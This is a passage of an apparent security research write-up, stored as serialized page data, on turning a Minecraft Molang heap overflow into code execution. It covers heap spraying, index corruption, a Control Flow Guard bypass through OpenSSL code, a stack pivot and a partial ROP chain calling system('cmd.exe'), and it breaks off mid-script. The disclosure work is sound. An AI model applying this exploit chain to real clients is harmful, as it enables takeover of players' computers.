Layout",{"type":22,"tag":23,"props":156417,"children":156418},{},[156419],{"type":27,"value":156420},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":22,"tag":618,"props":156422,"children":156424},{"code":156423},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[156425],{"type":22,"tag":257,"props":156426,"children":156427},{"__ignoreMap":7},[156428],{"type":27,"value":156423},{"type":22,"tag":23,"props":156430,"children":156431},{},[156432,156434,156440,156442,156447,156449,156454,156456,156461,156462,156467],{"type":27,"value":156433},"The first region (",{"type":22,"tag":257,"props":156435,"children":156437},{"className":156436},[],[156438],{"type":27,"value":156439},"Heap Region 1",{"type":27,"value":156441},") contains alternating ",{"type":22,"tag":257,"props":156443,"children":156445},{"className":156444},[],[156446],{"type":27,"value":154226},{"type":27,"value":156448},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":22,"tag":257,"props":156450,"children":156452},{"className":156451},[],[156453],{"type":27,"value":154256},{"type":27,"value":156455}," pointers of ",{"type":22,"tag":257,"props":156457,"children":156459},{"className":156458},[],[156460],{"type":27,"value":154226},{"type":27,"value":12290},{"type":22,"tag":257,"props":156463,"children":156465},{"className":156464},[],[156466],{"type":27,"value":154402},{"type":27,"value":156468}," from the entity object for our main attack.",{"type":22,"tag":23,"props":156470,"children":156471},{},[156472,156474,156480,156482,156487,156489,156494,156496,156501,156503,156508],{"type":27,"value":156473},"The second region (",{"type":22,"tag":257,"props":156475,"children":156477},{"className":156476},[],[156478],{"type":27,"value":156479},"Heap Region 2",{"type":27,"value":156481},") contains interleaved ",{"type":22,"tag":257,"props":156483,"children":156485},{"className":156484},[],[156486],{"type":27,"value":154402},{"type":27,"value":156488},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":22,"tag":257,"props":156490,"children":156492},{"className":156491},[],[156493],{"type":27,"value":156236},{"type":27,"value":156495}," pointer into ",{"type":22,"tag":257,"props":156497,"children":156499},{"className":156498},[],[156500],{"type":27,"value":156165},{"type":27,"value":156502}," during our main attack. It could be any object with a ",{"type":22,"tag":257,"props":156504,"children":156506},{"className":156505},[],[156507],{"type":27,"value":156236},{"type":27,"value":156509},", but for simplicity we use the entity object.",{"type":22,"tag":23,"props":156511,"children":156512},{},[156513,156515,156521,156523,156528],{"type":27,"value":156514},"During the attack, overwriting another variable's pointer with\n",{"type":22,"tag":257,"props":156516,"children":156518},{"className":156517},[],[156519],{"type":27,"value":156520},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":27,"value":156522}," will very likely clobber the ",{"type":22,"tag":257,"props":156524,"children":156526},{"className":156525},[],[156527],{"type":27,"value":154722},{"type":27,"value":156529}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":22,"tag":23,"props":156531,"children":156532},{},[156533],{"type":27,"value":156534},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":22,"tag":23,"props":156536,"children":156537},{},[156538],{"type":27,"value":156539},"The final exploit proceeds in three stages:",{"type":22,"tag":1867,"props":156541,"children":156542},{},[156543,156548,156553],{"type":22,"tag":1871,"props":156544,"children":156545},{},[156546],{"type":27,"value":156547},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":22,"tag":1871,"props":156549,"children":156550},{},[156551],{"type":27,"value":156552},"Perform the heap spray with signs to create the desired layout for the attack",{"type":22,"tag":1871,"props":156554,"children":156555},{},[156556],{"type":27,"value":156557},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":22,"tag":20197,"props":156559,"children":156561},{"id":156560},"initial-corruption-variant-lfh-heap-approach",[156562],{"type":27,"value":156563},"Initial Corruption Variant: LFH Heap Approach",{"type":22,"tag":23,"props":156565,"children":156566},{},[156567],{"type":27,"value":156568},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":22,"tag":23,"props":156570,"children":156571},{},[156572,156574,156579,156580,156586],{"type":27,"value":156573},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":22,"tag":257,"props":156575,"children":156577},{"className":156576},[],[156578],{"type":27,"value":154469},{"type":27,"value":7780},{"type":22,"tag":257,"props":156581,"children":156583},{"className":156582},[],[156584],{"type":27,"value":156585},"last_index",{"type":27,"value":156587}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":22,"tag":23,"props":156589,"children":156590},{},[156591,156593,156598,156599,156604,156606,156611,156613,156618,156620,156625,156627,156633,156634,156640,156641,156647],{"type":27,"value":156592},"The main attack can be arranged by making the resulting index point at the ",{"type":22,"tag":257,"props":156594,"children":156596},{"className":156595},[],[156597],{"type":27,"value":151422},{"type":27,"value":155206},{"type":22,"tag":257,"props":156600,"children":156602},{"className":156601},[],[156603],{"type":27,"value":154402},{"type":27,"value":156605},". From there, the script can overwrite three variable indices at offset ",{"type":22,"tag":257,"props":156607,"children":156609},{"className":156608},[],[156610],{"type":27,"value":154160},{"type":27,"value":156612}," within the ",{"type":22,"tag":257,"props":156614,"children":156616},{"className":156615},[],[156617],{"type":27,"value":154402},{"type":27,"value":156619}," by using the string type. This works because a Molang string's value is just a ",{"type":22,"tag":257,"props":156621,"children":156623},{"className":156622},[],[156624],{"type":27,"value":56956},{"type":27,"value":156626}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":22,"tag":257,"props":156628,"children":156630},{"className":156629},[],[156631],{"type":27,"value":156632},"0xfb",{"type":27,"value":4380},{"type":22,"tag":257,"props":156635,"children":156637},{"className":156636},[],[156638],{"type":27,"value":156639},"0xfc",{"type":27,"value":12290},{"type":22,"tag":257,"props":156642,"children":156644},{"className":156643},[],[156645],{"type":27,"value":156646},"0xfd",{"type":27,"value":156648}," the script would do:",{"type":22,"tag":618,"props":156650,"children":156652},{"code":156651},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[156653],{"type":22,"tag":257,"props":156654,"children":156655},{"__ignoreMap":7},[156656],{"type":27,"value":156651},{"type":22,"tag":23,"props":156658,"children":156659},{},[156660,156662,156667,156668,156674,156676,156681],{"type":27,"value":156661},"That line would write the ",{"type":22,"tag":257,"props":156663,"children":156665},{"className":156664},[],[156666],{"type":27,"value":56956},{"type":27,"value":93496},{"type":22,"tag":257,"props":156669,"children":156671},{"className":156670},[],[156672],{"type":27,"value":156673},"0x302700fb00fc00fd",{"type":27,"value":156675}," (string's FNV-1 hash) into the allocated ",{"type":22,"tag":257,"props":156677,"children":156679},{"className":156678},[],[156680],{"type":27,"value":154402},{"type":27,"value":156682}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":22,"tag":181,"props":156684,"children":156686},{"id":156685},"hijacking-execution",[156687],{"type":27,"value":156688},"Hijacking Execution",{"type":22,"tag":23,"props":156690,"children":156691},{},[156692,156694,156699,156701,156707],{"type":27,"value":156693},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":22,"tag":257,"props":156695,"children":156697},{"className":156696},[],[156698],{"type":27,"value":156236},{"type":27,"value":156700}," and function pointers in the writable ",{"type":22,"tag":257,"props":156702,"children":156704},{"className":156703},[],[156705],{"type":27,"value":156706},".data",{"type":27,"value":156708}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":22,"tag":23,"props":156710,"children":156711},{},[156712],{"type":27,"value":156713},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":22,"tag":23,"props":156715,"children":156716},{},[156717],{"type":27,"value":156718},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":22,"tag":23,"props":156720,"children":156721},{},[156722],{"type":22,"tag":215,"props":156723,"children":156725},{"alt":51899,"src":156724},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":22,"tag":23,"props":156727,"children":156728},{},[156729,156731,156737,156739,156745,156747,156752,156754,156759,156761,156767,156769,156774,156776,156782,156784,156789],{"type":27,"value":156730},"This snippet calls a method on an object: ",{"type":22,"tag":257,"props":156732,"children":156734},{"className":156733},[],[156735],{"type":27,"value":156736},"rcx",{"type":27,"value":156738}," holds the object pointer, the first ",{"type":22,"tag":257,"props":156740,"children":156742},{"className":156741},[],[156743],{"type":27,"value":156744},"mov",{"type":27,"value":156746}," loads the object's ",{"type":22,"tag":257,"props":156748,"children":156750},{"className":156749},[],[156751],{"type":27,"value":156236},{"type":27,"value":156753}," into ",{"type":22,"tag":257,"props":156755,"children":156757},{"className":156756},[],[156758],{"type":27,"value":58095},{"type":27,"value":156760},", and the function pointer at ",{"type":22,"tag":257,"props":156762,"children":156764},{"className":156763},[],[156765],{"type":27,"value":156766},"rax + 0x8",{"type":27,"value":156768}," is read into ",{"type":22,"tag":257,"props":156770,"children":156772},{"className":156771},[],[156773],{"type":27,"value":58095},{"type":27,"value":156775},". Finally, ",{"type":22,"tag":257,"props":156777,"children":156779},{"className":156778},[],[156780],{"type":27,"value":156781},"__guard_dispatch_icall_fptr",{"type":27,"value":156783}," is called - this is the CFG dispatch function that validates ",{"type":22,"tag":257,"props":156785,"children":156787},{"className":156786},[],[156788],{"type":27,"value":58095},{"type":27,"value":156790}," as a legal call target before invoking it.",{"type":22,"tag":23,"props":156792,"children":156793},{},[156794],{"type":27,"value":156795},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":22,"tag":23,"props":156797,"children":156798},{},[156799],{"type":22,"tag":215,"props":156800,"children":156802},{"alt":51899,"src":156801},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":22,"tag":23,"props":156804,"children":156805},{},[156806,156808,156814,156816,156822],{"type":27,"value":156807},"Here, the function pointer at ",{"type":22,"tag":257,"props":156809,"children":156811},{"className":156810},[],[156812],{"type":27,"value":156813},"vtable + 0x10",{"type":27,"value":156815}," is loaded into ",{"type":22,"tag":257,"props":156817,"children":156819},{"className":156818},[],[156820],{"type":27,"value":156821},"rdx",{"type":27,"value":156823}," and then called directly.",{"type":22,"tag":23,"props":156825,"children":156826},{},[156827],{"type":27,"value":156828},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":22,"tag":23,"props":156830,"children":156831},{},[156832,156834,156839],{"type":27,"value":156833},"So the remaining task is to locate OpenSSL function or ",{"type":22,"tag":257,"props":156835,"children":156837},{"className":156836},[],[156838],{"type":27,"value":156236},{"type":27,"value":156840}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":22,"tag":20197,"props":156842,"children":156844},{"id":156843},"locating-overwrite-targets",[156845],{"type":27,"value":156846},"Locating Overwrite Targets",{"type":22,"tag":23,"props":156848,"children":156849},{},[156850,156852,156858,156859,156864,156866,156871,156873,156879],{"type":27,"value":156851},"One of the first targets we identified were the ",{"type":22,"tag":257,"props":156853,"children":156855},{"className":156854},[],[156856],{"type":27,"value":156857},"malloc",{"type":27,"value":12290},{"type":22,"tag":257,"props":156860,"children":156862},{"className":156861},[],[156863],{"type":27,"value":151470},{"type":27,"value":156865}," callbacks. These reside in the ",{"type":22,"tag":257,"props":156867,"children":156869},{"className":156868},[],[156870],{"type":27,"value":156706},{"type":27,"value":156872}," section and are invoked whenever they don’t match the expected ",{"type":22,"tag":257,"props":156874,"children":156876},{"className":156875},[],[156877],{"type":27,"value":156878},"OPENSSL_malloc/free",{"type":27,"value":133330},{"type":22,"tag":23,"props":156881,"children":156882},{},[156883],{"type":22,"tag":215,"props":156884,"children":156886},{"alt":51899,"src":156885},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":22,"tag":23,"props":156888,"children":156889},{},[156890],{"type":27,"value":156891},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":22,"tag":23,"props":156893,"children":156894},{},[156895,156897,156903,156905,156911,156913,156918],{"type":27,"value":156896},"Later, we found another promising function: ",{"type":22,"tag":257,"props":156898,"children":156900},{"className":156899},[],[156901],{"type":27,"value":156902},"ossl_ec_key_new_method_int",{"type":27,"value":156904},". This function creates and initializes an ",{"type":22,"tag":257,"props":156906,"children":156908},{"className":156907},[],[156909],{"type":27,"value":156910},"EC_KEY",{"type":27,"value":156912}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":22,"tag":257,"props":156914,"children":156916},{"className":156915},[],[156917],{"type":27,"value":156706},{"type":27,"value":156919},") containing function pointers:",{"type":22,"tag":23,"props":156921,"children":156922},{},[156923],{"type":22,"tag":215,"props":156924,"children":156926},{"alt":51899,"src":156925},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":22,"tag":23,"props":156928,"children":156929},{},[156930,156932,156938,156939,156945,156947,156952,156954,156960,156962,156967,156969,156974,156976,156981],{"type":27,"value":156931},"In the image above, ",{"type":22,"tag":257,"props":156933,"children":156935},{"className":156934},[],[156936],{"type":27,"value":156937},"ret->meth",{"type":27,"value":126794},{"type":22,"tag":257,"props":156940,"children":156942},{"className":156941},[],[156943],{"type":27,"value":156944},"default_ec_key_meth",{"type":27,"value":156946},", which points to a structure of function pointers located in ",{"type":22,"tag":257,"props":156948,"children":156950},{"className":156949},[],[156951],{"type":27,"value":156706},{"type":27,"value":156953},". It then calls ",{"type":22,"tag":257,"props":156955,"children":156957},{"className":156956},[],[156958],{"type":27,"value":156959},"ret->meth->init",{"type":27,"value":156961},", passing the ",{"type":22,"tag":257,"props":156963,"children":156965},{"className":156964},[],[156966],{"type":27,"value":18996},{"type":27,"value":156968}," pointer (",{"type":22,"tag":257,"props":156970,"children":156972},{"className":156971},[],[156973],{"type":27,"value":12288},{"type":27,"value":156975},"). This alone isn’t especially useful because ",{"type":22,"tag":257,"props":156977,"children":156979},{"className":156978},[],[156980],{"type":27,"value":12288},{"type":27,"value":156982}," is heap-allocated.",{"type":22,"tag":23,"props":156984,"children":156985},{},[156986,156988,156993],{"type":27,"value":156987},"But, if we look at how ",{"type":22,"tag":257,"props":156989,"children":156991},{"className":156990},[],[156992],{"type":27,"value":156959},{"type":27,"value":156994}," is invoked in the disassembly:",{"type":22,"tag":23,"props":156996,"children":156997},{},[156998],{"type":22,"tag":215,"props":156999,"children":157001},{"alt":51899,"src":157000},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":22,"tag":23,"props":157003,"children":157004},{},[157005,157006,157011,157013,157018,157020,157025,157027,157032,157034,157039,157041,157046,157048,157053,157055,157061],{"type":27,"value":8773},{"type":22,"tag":257,"props":157007,"children":157009},{"className":157008},[],[157010],{"type":27,"value":156959},{"type":27,"value":157012}," is not ",{"type":22,"tag":257,"props":157014,"children":157016},{"className":157015},[],[157017],{"type":27,"value":55817},{"type":27,"value":157019},", it is called while ",{"type":22,"tag":257,"props":157021,"children":157023},{"className":157022},[],[157024],{"type":27,"value":58095},{"type":27,"value":157026}," still contains the value of ",{"type":22,"tag":257,"props":157028,"children":157030},{"className":157029},[],[157031],{"type":27,"value":156937},{"type":27,"value":157033}," - that is, a pointer to the structure in ",{"type":22,"tag":257,"props":157035,"children":157037},{"className":157036},[],[157038],{"type":27,"value":156706},{"type":27,"value":157040}," that we control. This is ideal, because we can overwrite ",{"type":22,"tag":257,"props":157042,"children":157044},{"className":157043},[],[157045],{"type":27,"value":156944},{"type":27,"value":157047}," with a pointer to a region in ",{"type":22,"tag":257,"props":157049,"children":157051},{"className":157050},[],[157052],{"type":27,"value":156706},{"type":27,"value":157054}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":22,"tag":257,"props":157056,"children":157058},{"className":157057},[],[157059],{"type":27,"value":157060},"mov rsp, rax; ret",{"type":27,"value":157062},"-style gadget.",{"type":22,"tag":23,"props":157064,"children":157065},{},[157066,157068,157073,157075,157080],{"type":27,"value":157067},"Although we discovered that ",{"type":22,"tag":257,"props":157069,"children":157071},{"className":157070},[],[157072],{"type":27,"value":156902},{"type":27,"value":157074}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":22,"tag":257,"props":157076,"children":157078},{"className":157077},[],[157079],{"type":27,"value":156878},{"type":27,"value":157081}," callbacks.",{"type":22,"tag":20197,"props":157083,"children":157085},{"id":157084},"stack-pivot",[157086],{"type":27,"value":157087},"Stack Pivot",{"type":22,"tag":23,"props":157089,"children":157090},{},[157091,157093,157098,157100,157105,157107,157112,157114,157120],{"type":27,"value":157092},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":22,"tag":257,"props":157094,"children":157096},{"className":157095},[],[157097],{"type":27,"value":156706},{"type":27,"value":157099},", overwrite ",{"type":22,"tag":257,"props":157101,"children":157103},{"className":157102},[],[157104],{"type":27,"value":156944},{"type":27,"value":157106}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":22,"tag":257,"props":157108,"children":157110},{"className":157109},[],[157111],{"type":27,"value":156902},{"type":27,"value":157113},". This ultimately calls ",{"type":22,"tag":257,"props":157115,"children":157117},{"className":157116},[],[157118],{"type":27,"value":157119},"default_ec_key_meth->init",{"type":27,"value":157121},", which executes the pivot and begins ROP execution.",{"type":22,"tag":23,"props":157123,"children":157124},{},[157125,157127,157133,157135,157141],{"type":27,"value":157126},"We chose to overwrite the ",{"type":22,"tag":257,"props":157128,"children":157130},{"className":157129},[],[157131],{"type":27,"value":157132},"OPENSSL_free",{"type":27,"value":157134}," callback. This produces only a minor memory leak, while overwriting ",{"type":22,"tag":257,"props":157136,"children":157138},{"className":157137},[],[157139],{"type":27,"value":157140},"OPENSSL_malloc",{"type":27,"value":157142}," would require our replacement function to return a writable, unused memory region.",{"type":22,"tag":23,"props":157144,"children":157145},{},[157146,157148,157154,157155,157161,157163,157168],{"type":27,"value":157147},"For the stack pivot, we found two useful gadgets: ",{"type":22,"tag":257,"props":157149,"children":157151},{"className":157150},[],[157152],{"type":27,"value":157153},"add rsp, 0x10; pop r14; ret",{"type":27,"value":12290},{"type":22,"tag":257,"props":157156,"children":157158},{"className":157157},[],[157159],{"type":27,"value":157160},"xchg rsp, rax; ret",{"type":27,"value":157162},". The exploit writes them into ",{"type":22,"tag":257,"props":157164,"children":157166},{"className":157165},[],[157167],{"type":27,"value":156706},{"type":27,"value":157169}," like this:",{"type":22,"tag":618,"props":157171,"children":157173},{"code":157172},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[157174],{"type":22,"tag":257,"props":157175,"children":157176},{"__ignoreMap":7},[157177],{"type":27,"value":157172},{"type":22,"tag":23,"props":157179,"children":157180},{},[157181,157183,157188,157190,157195,157197,157202,157204,157209,157211,157216,157218,157223,157225,157230],{"type":27,"value":157182},"The second gadget, ",{"type":22,"tag":257,"props":157184,"children":157186},{"className":157185},[],[157187],{"type":27,"value":157160},{"type":27,"value":157189},", is placed in the slot corresponding to the ",{"type":22,"tag":257,"props":157191,"children":157193},{"className":157192},[],[157194],{"type":27,"value":22047},{"type":27,"value":157196}," function pointer. As mentioned earlier, when ",{"type":22,"tag":257,"props":157198,"children":157200},{"className":157199},[],[157201],{"type":27,"value":156959},{"type":27,"value":157203}," is called, ",{"type":22,"tag":257,"props":157205,"children":157207},{"className":157206},[],[157208],{"type":27,"value":58095},{"type":27,"value":157210}," contains a pointer to ",{"type":22,"tag":257,"props":157212,"children":157214},{"className":157213},[],[157215],{"type":27,"value":156944},{"type":27,"value":157217}," - which we have overwritten and now points to our ",{"type":22,"tag":257,"props":157219,"children":157221},{"className":157220},[],[157222],{"type":27,"value":157153},{"type":27,"value":157224}," gadget in ",{"type":22,"tag":257,"props":157226,"children":157228},{"className":157227},[],[157229],{"type":27,"value":156706},{"type":27,"value":210},{"type":22,"tag":23,"props":157232,"children":157233},{},[157234,157236,157242,157244,157249,157251,157257,157259,157264,157266,157271,157273,157278,157280,157285,157287,157292,157294,157299],{"type":27,"value":157235},"When the call occurs, ",{"type":22,"tag":257,"props":157237,"children":157239},{"className":157238},[],[157240],{"type":27,"value":157241},"xchg rsp, rax",{"type":27,"value":157243}," swaps the stack pointer with this controlled pointer inside ",{"type":22,"tag":257,"props":157245,"children":157247},{"className":157246},[],[157248],{"type":27,"value":156706},{"type":27,"value":157250},", effectively moving ",{"type":22,"tag":257,"props":157252,"children":157254},{"className":157253},[],[157255],{"type":27,"value":157256},"rsp",{"type":27,"value":157258}," into our ROP region. After the ",{"type":22,"tag":257,"props":157260,"children":157262},{"className":157261},[],[157263],{"type":27,"value":12288},{"type":27,"value":157265},", execution continues at ",{"type":22,"tag":257,"props":157267,"children":157269},{"className":157268},[],[157270],{"type":27,"value":157153},{"type":27,"value":157272},", which advances ",{"type":22,"tag":257,"props":157274,"children":157276},{"className":157275},[],[157277],{"type":27,"value":157256},{"type":27,"value":157279}," by ",{"type":22,"tag":257,"props":157281,"children":157283},{"className":157282},[],[157284],{"type":27,"value":45853},{"type":27,"value":157286}," bytes, skipping over the padding and the ",{"type":22,"tag":257,"props":157288,"children":157290},{"className":157289},[],[157291],{"type":27,"value":157160},{"type":27,"value":157293}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":22,"tag":257,"props":157295,"children":157297},{"className":157296},[],[157298],{"type":27,"value":157160},{"type":27,"value":157300},") begins executing.",{"type":22,"tag":181,"props":157302,"children":157304},{"id":157303},"rop-chain",[157305],{"type":27,"value":157306},"ROP Chain",{"type":22,"tag":23,"props":157308,"children":157309},{},[157310,157312,157318,157320,157325],{"type":27,"value":157311},"For the demo, the ROP chain simply calls ",{"type":22,"tag":257,"props":157313,"children":157315},{"className":157314},[],[157316],{"type":27,"value":157317},"system(\"cmd.exe\")",{"type":27,"value":157319},". Because Minecraft does not use ",{"type":22,"tag":257,"props":157321,"children":157323},{"className":157322},[],[157324],{"type":27,"value":133052},{"type":27,"value":157326},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":22,"tag":23,"props":157328,"children":157329},{},[157330,157332,157338,157340,157346,157348,157353,157355,157361,157363,157368],{"type":27,"value":157331},"This is straightforward: the chain first calls ",{"type":22,"tag":257,"props":157333,"children":157335},{"className":157334},[],[157336],{"type":27,"value":157337},"GetModuleHandle(\"ucrtbase.dll\")",{"type":27,"value":157339}," to obtain the base address of ",{"type":22,"tag":257,"props":157341,"children":157343},{"className":157342},[],[157344],{"type":27,"value":157345},"ucrtbase.dll",{"type":27,"value":157347}," (which exports ",{"type":22,"tag":257,"props":157349,"children":157351},{"className":157350},[],[157352],{"type":27,"value":133052},{"type":27,"value":157354},"). It then calls ",{"type":22,"tag":257,"props":157356,"children":157358},{"className":157357},[],[157359],{"type":27,"value":157360},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":27,"value":157362}," to retrieve the function’s address. Finally, it invokes ",{"type":22,"tag":257,"props":157364,"children":157366},{"className":157365},[],[157367],{"type":27,"value":133052},{"type":27,"value":157369}," with the \"cmd.exe\" string.",{"type":22,"tag":23,"props":157371,"children":157372},{},[157373],{"type":27,"value":157374},"In the exploit script, the ROP chain looks something like this:",{"type":22,"tag":618,"props":157376,"children":157378},{"code":157377,"language":20766,"meta":7,"className":20767,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157379],{"type":22,"tag":257,"props":157380,"children":157381},{"__ignoreMap":7},[157382,157390,157398,157423,157431,157439,157446,157454,157462,157489,157502,157515,157536,157565,157594,157601,157609,157622,157630,157666,157674,157681,157689,157696,157721,157732,157744],{"type":22,"tag":264,"props":157383,"children":157384},{"class":1534,"line":1535},[157385],{"type":22,"tag":264,"props":157386,"children":157387},{"style":4284},[157388],{"type":27,"value":157389},"# get the address of `GetModuleHandle` to `rax`\n",{"type":22,"tag":264,"props":157391,"children":157392},{"class":1534,"line":1545},[157393],{"type":22,"tag":264,"props":157394,"children":157395},{"style":1539},[157396],{"type":27,"value":157397},"rop.gadget(pop_r8)\n",{"type":22,"tag":264,"props":157399,"children":157400},{"class":1534,"line":1560},[157401,157406,157410,157415,157419],{"type":22,"tag":264,"props":157402,"children":157403},{"style":1539},[157404],{"type":27,"value":157405},"rop.gadget(addr_get_module_handle_a ",{"type":22,"tag":264,"props":157407,"children":157408},{"style":4309},[157409],{"type":27,"value":5621},{"type":22,"tag":264,"props":157411,"children":157412},{"style":4293},[157413],{"type":27,"value":157414}," 0x",{"type":22,"tag":264,"props":157416,"children":157417},{"style":4344},[157418],{"type":27,"value":136167},{"type":22,"tag":264,"props":157420,"children":157421},{"style":1539},[157422],{"type":27,"value":4463},{"type":22,"tag":264,"props":157424,"children":157425},{"class":1534,"line":1569},[157426],{"type":22,"tag":264,"props":157427,"children":157428},{"style":4284},[157429],{"type":27,"value":157430},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":22,"tag":264,"props":157432,"children":157433},{"class":1534,"line":1583},[157434],{"type":22,"tag":264,"props":157435,"children":157436},{"style":1539},[157437],{"type":27,"value":157438},"rop.gadget(mov_rax_r8_28)\n",{"type":22,"tag":264,"props":157440,"children":157441},{"class":1534,"line":1603},[157442],{"type":22,"tag":264,"props":157443,"children":157444},{"emptyLinePlaceholder":17},[157445],{"type":27,"value":4986},{"type":22,"tag":264,"props":157447,"children":157448},{"class":1534,"line":1612},[157449],{"type":22,"tag":264,"props":157450,"children":157451},{"style":4284},[157452],{"type":27,"value":157453},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":22,"tag":264,"props":157455,"children":157456},{"class":1534,"line":1621},[157457],{"type":22,"tag":264,"props":157458,"children":157459},{"style":1539},[157460],{"type":27,"value":157461},"rop.gadget(pop_rcx)\n",{"type":22,"tag":264,"props":157463,"children":157464},{"class":1534,"line":1629},[157465,157470,157475,157480,157484],{"type":22,"tag":264,"props":157466,"children":157467},{"style":1539},[157468],{"type":27,"value":157469},"rop.gadget(",{"type":22,"tag":264,"props":157471,"children":157472},{"style":4293},[157473],{"type":27,"value":157474},"0x",{"type":22,"tag":264,"props":157476,"children":157477},{"style":4344},[157478],{"type":27,"value":157479},"7468B68",{"type":22,"tag":264,"props":157481,"children":157482},{"style":1539},[157483],{"type":27,"value":4390},{"type":22,"tag":264,"props":157485,"children":157486},{"style":4284},[157487],{"type":27,"value":157488},"# offset of \"ucrtbase.dll\" string\n",{"type":22,"tag":264,"props":157490,"children":157491},{"class":1534,"line":1642},[157492,157497],{"type":22,"tag":264,"props":157493,"children":157494},{"style":1539},[157495],{"type":27,"value":157496},"rop.gadget(ret) ",{"type":22,"tag":264,"props":157498,"children":157499},{"style":4284},[157500],{"type":27,"value":157501},"# movaps alignment\n",{"type":22,"tag":264,"props":157503,"children":157504},{"class":1534,"line":1660},[157505,157510],{"type":22,"tag":264,"props":157506,"children":157507},{"style":1539},[157508],{"type":27,"value":157509},"rop.gadget(push_rax_ret) ",{"type":22,"tag":264,"props":157511,"children":157512},{"style":4284},[157513],{"type":27,"value":157514},"# calls 